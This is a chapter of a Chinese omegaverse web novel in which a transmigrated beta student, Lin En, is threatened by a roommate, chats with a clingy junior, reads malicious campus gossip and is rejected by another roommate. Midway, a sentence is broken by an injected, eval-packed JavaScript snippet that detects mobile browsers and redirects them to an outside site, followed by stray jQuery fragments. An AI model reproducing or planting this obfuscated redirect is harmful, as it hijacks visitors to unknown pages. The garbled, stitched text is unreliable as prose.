季修斯猛然回过神来,懊悔自己居然差点对一个普通的beta有反应,立刻松开手。
林恩连忙用被子捂住自己,战战兢兢地看着季修斯,悄悄地将扣子都扣回去。
季修斯闻到医务室里的信息素,倍感丢人。
要是有alpha或是omega进来,嗅到这股味道,就会明白他刚刚动情,从而笑话他。
他推开窗户,又打开换气系统,紧急整理衣服,视图挽回自己苦心经营的贵公子形象。
明明只是个普通beta,怎么会让他情不自禁释放出大量信息素?
季修斯脑子里忽然浮现出林恩的白皙手腕,圆眼里闪烁的泪光,以及脸颊上的绯红,最致命的还是那种无辜懵懂的眼神。
单纯又诱惑,是最难得的气质,悄无声息地引人痴迷。
还有林恩总是表现出畏畏缩缩,窝窝囊囊的姿态,可言行举止都分外大胆。
季修斯由衷地怨恨这个令自己失态的beta,冷声警告:“今天的事情敢传出去,我就割了你的舌头。”
林恩知道他害怕自己向沈时砚告状,顿时有了一丝底气,提出要求:“那你以后不要再让我帮你洗内裤了,也不要老是来为难我。”
这家伙以为傍上沈时砚,就可以移情别恋了是吧?
连内裤都不愿意洗了?
是想帮沈时砚洗吗?
季修斯气得脸色青一阵白一阵,咬牙切齿道:“你以为自己能跟沈时砚修成正果,做梦吧!”
他说完就迅速离开医务室,再也不想多看滥情的beta一眼。
不就是少个暗恋者,他季修斯才不稀罕!
凉风从窗外涌进来,驱散了信息素味,以至于校医进来的时候没有察觉到刚刚发生了什么,只是叮嘱林恩回去多休息,不要再暴晒。
林恩谢过校医,就沿着学院里的人行道散步,到了一处人烟稀少的林荫,才坐下来看手机。
因为跟季修斯同一个宿舍的,所以暂时不想回去,只能在外面避一避。
周道允早上给他发了消息,现在才有时间回复。
【前辈,我在外面吃到了很好吃的甜品,回去带给你吃。】
【前辈,你是不是在上课,都不回我消息。】
【我刚刚下课,你那边进展顺利吗。】
林恩刚回消息,对方就发来了视频通话,于是按了拒绝。
【我在外面,不方便接电话。】
【可是我好久没见到前辈了,特别想念,看看前辈都不行吗?】
其实没多久,也就一天而已。
周道允就不停发语音撒娇,还发哭哭表情包,装可怜。
林恩在原本的世界里也是有很多堂弟表弟的人,习惯了小辈撒娇,还是心软,拨通了视频电话。
视频里的周道允故意把手机举高,让自己看起来更加年幼可怜,好唤起林恩的保护欲。
他努了努嘴抱怨:“前辈,我在外面四处奔波,好辛苦。”
林恩看他的黑眼圈更重了,无奈地叹息:“你就不能跟你教授说说好话,让你多睡点嘛。天天这样熬夜,很伤身体,而且也没有精神学习。”
周道允拿出泡了红参的保温杯,笑着回答:“没事,我有每天喝红参水补身体,不怕熬夜。而且,我还会喝咖啡保持精神,也不会耽误学习。”
林恩并不认可这种作息方式,皱着眉教育:“红参治标不治本,还是要多睡觉。而且咖啡对身体也不好,少喝点。
你现在每天都吃什么,不会又是些没有营养的东西吧?”
之前周道允在宿舍,林恩看他吃得不健康,都会亲自下厨给他做补身体的菜肴,每天都要盯着吃完。
现在就担心周道允在外面又吃泡菜,就跟哥哥担心弟弟在外受苦一样。
周道允喜欢被他关心,得意地扬起嘴角,拍了自己的午餐:“挺好的,就是比不上前辈做的好吃。”
林恩认可地点点头:“外面的还是不太健康,少吃点,你快去忙吧。”
周道允:“不要,我还想多看看前辈。前辈把自己的全身拍一下嘛,我想看。”
林恩:“你回来再看。”
周道允拖长了声音撒娇:“就要看就要看,哥~”
以前也有很多人叫林恩“哥”,都喜欢吃他做的饭,还是他带大的。
也不知道这些人过得怎么样,成绩好不好,有没有谈恋爱。
林恩思念原世界里的弟弟们了,于是把这种情感寄托于年纪比自己小的周道允身上,用手机拍了自己。
周道允会刻意让他在衣领处,袖口,裤脚处停顿,确认没人捷足先登,这才挂断视频电话。
他还刻意叮嘱林恩,要远离所有靠近自己的alpha。
林恩当然不会把弟弟的叮嘱放在心上,立刻发消息询问沈时砚的情况。
然而沈时砚没有回他,电话也打不通,好像真是被带回去接受惩罚。
其实发消息问季修斯,就能知道实际情况。
可他们刚刚发生了那种事情,实在不好问出口。
林恩跟系统抱怨季修斯。
【季修斯生活在贵族学院的世界里,性格就是这样,宿主远离他就好。】
可是,他就是觉得季修斯暴躁易怒,像个没法控制情绪的牲畜,完全不像人。
【npc的性格就是固定死了的,宿主是个活人,当然没法理解。】
也对,他跟个纸片人计较什么。
林恩总是记好不记坏,就这样放下季修斯的事回到宿舍。
午后的宿舍,只有江沭一个人在饭厅吃饭,他严格依照贵族礼仪,缓慢地切割牛排,正在优雅用餐。
忽然听到急促的脚步声,不用猜都知道是林恩和张宸其中之一。
江沭抬头去看,顿觉晦气,连吃牛排的心思都没了。
沈时砚当众抱林恩离开的情景,他也是见证过的,不由得惊叹:林恩居然又勾搭上一个alpha。
林恩看到江沭,忽然想到他也身处贵族圈子,应该会知道沈时砚的消息。
可他和江沭的关系已经跌入冰点,不好问话。
还是缓缓再说吧。
林恩不敢继续看江沭,转身就朝着楼梯走,想回到卧室。
途中想到季修斯那条没洗的内裤,又跑到洗衣房捡起来,丢进垃圾桶里。
可这并不解气。
林恩把内裤倒回地上,用力踩了好几脚,把它当成季修斯的脸,边踩边小声骂。
他把自己能够想到的所有脏话都骂出来,还诅咒季修
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332955|199195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯这辈子都得不到心上人的喜欢。
等到布料变皱,粘满鞋灰,完全不成样子。
林恩用扫帚把破内裤扫回垃圾桶里,总算彻底消气。
他还安慰自己:虽然今天发生了很不好的事情,但至少以后不用洗季修斯的内裤了,要开心起来。
林恩重新焕发生机,再次拿起手机查看沈时砚的消息。
还是没有回复。
虽然说沈时砚也是纸片人,但他跟季修斯这种混蛋不一样,会牵动林恩的心思。
今天要是没有沈时砚,他就中暑昏倒了。
林恩焦急地翻开各大论坛,想知道沈时砚的境况,结果全都是他和沈时砚图片。
学院里的人都在激烈地讨论他和沈时砚的恋情,还把他的家庭背景全都扒出来。
大家都在猜测,一个普通beta到底是凭借什么手段才能勾引到顶A。
“可能是长得单纯吧,沈少就喜欢这款。”
“可能是会花言巧语,这种人看起来就很有心机。”
“等一下,据说他跟五个alpha都在一个寝室。”
“我去,他不会同时勾搭了五个人吧!”
“放屁,我老大季修斯最看不起这种beta。”
“大家放心,季修斯不喜欢林恩。”
“江沭也对他挺冷漠的,肯定也不喜欢他。”
林恩翻开这些言论,发现有些人说的很恶毒,连忙合上手机不敢看了。
他只要没看见,就可以安慰自己,其实根本没有人说出这些话。
这个世界的人太奇怪了,不仅看不起beta,还老喜欢造谣两个男生的友谊。
明明他和沈时砚之间,根本没有他们说的那种亲密关系。
虽然沈时砚偶尔会吻他,但那也不能说明是喜欢。
林恩摸了摸脸,惊讶地发现脸颊居然有些烫,于是走到落地窗前吹冷风。
恰好这时江沭从旁边走过,忍不住偏头看他一眼。
就这一眼让林恩以为有机会,连忙抓住江沭的手腕追问:“江同学,你知道沈同学怎么样了吗?”
江沭盯着他略小一倍的手指,嘴角都绷直,没说话。
林恩想到他们之间的矛盾,再次道歉:“对不起江同学。但是我真的很担心沈同学,你要是知道他的消息,可不可以告诉我?”
江沭撇开他的手,像是拂掉某种灰尘:“你现在又喜欢上沈时砚了?”
林恩看过论坛里的帖子,这回总算江沭嘴里的“喜欢”,连忙摇头:“不是喜欢,我们只是朋友。他是为了救我,才被家里人带走的,我担心他。”
真是好手段!
对外就宣称沈时砚只是朋友,那周道允是后辈,张宸是室友,以此维持单身人设?
江沭甚至怀疑林恩想借此搭讪自己,气得眉心微跳,呵斥道:“离我远点!”
林恩猜测他是误信了帖子内容,才对自己心存偏见,坚持解释:“江同学你不要信他们,都是谣传。
我没有勾搭很多alpha,我只是以朋友的身份担心沈同学,想知道他的情况。”
江沭再也不想信任诡计多端的beta:“沈时砚他们蠢,我可不是。收起你那些肮脏龌龊的心思,别总是厚脸皮地贴上来!”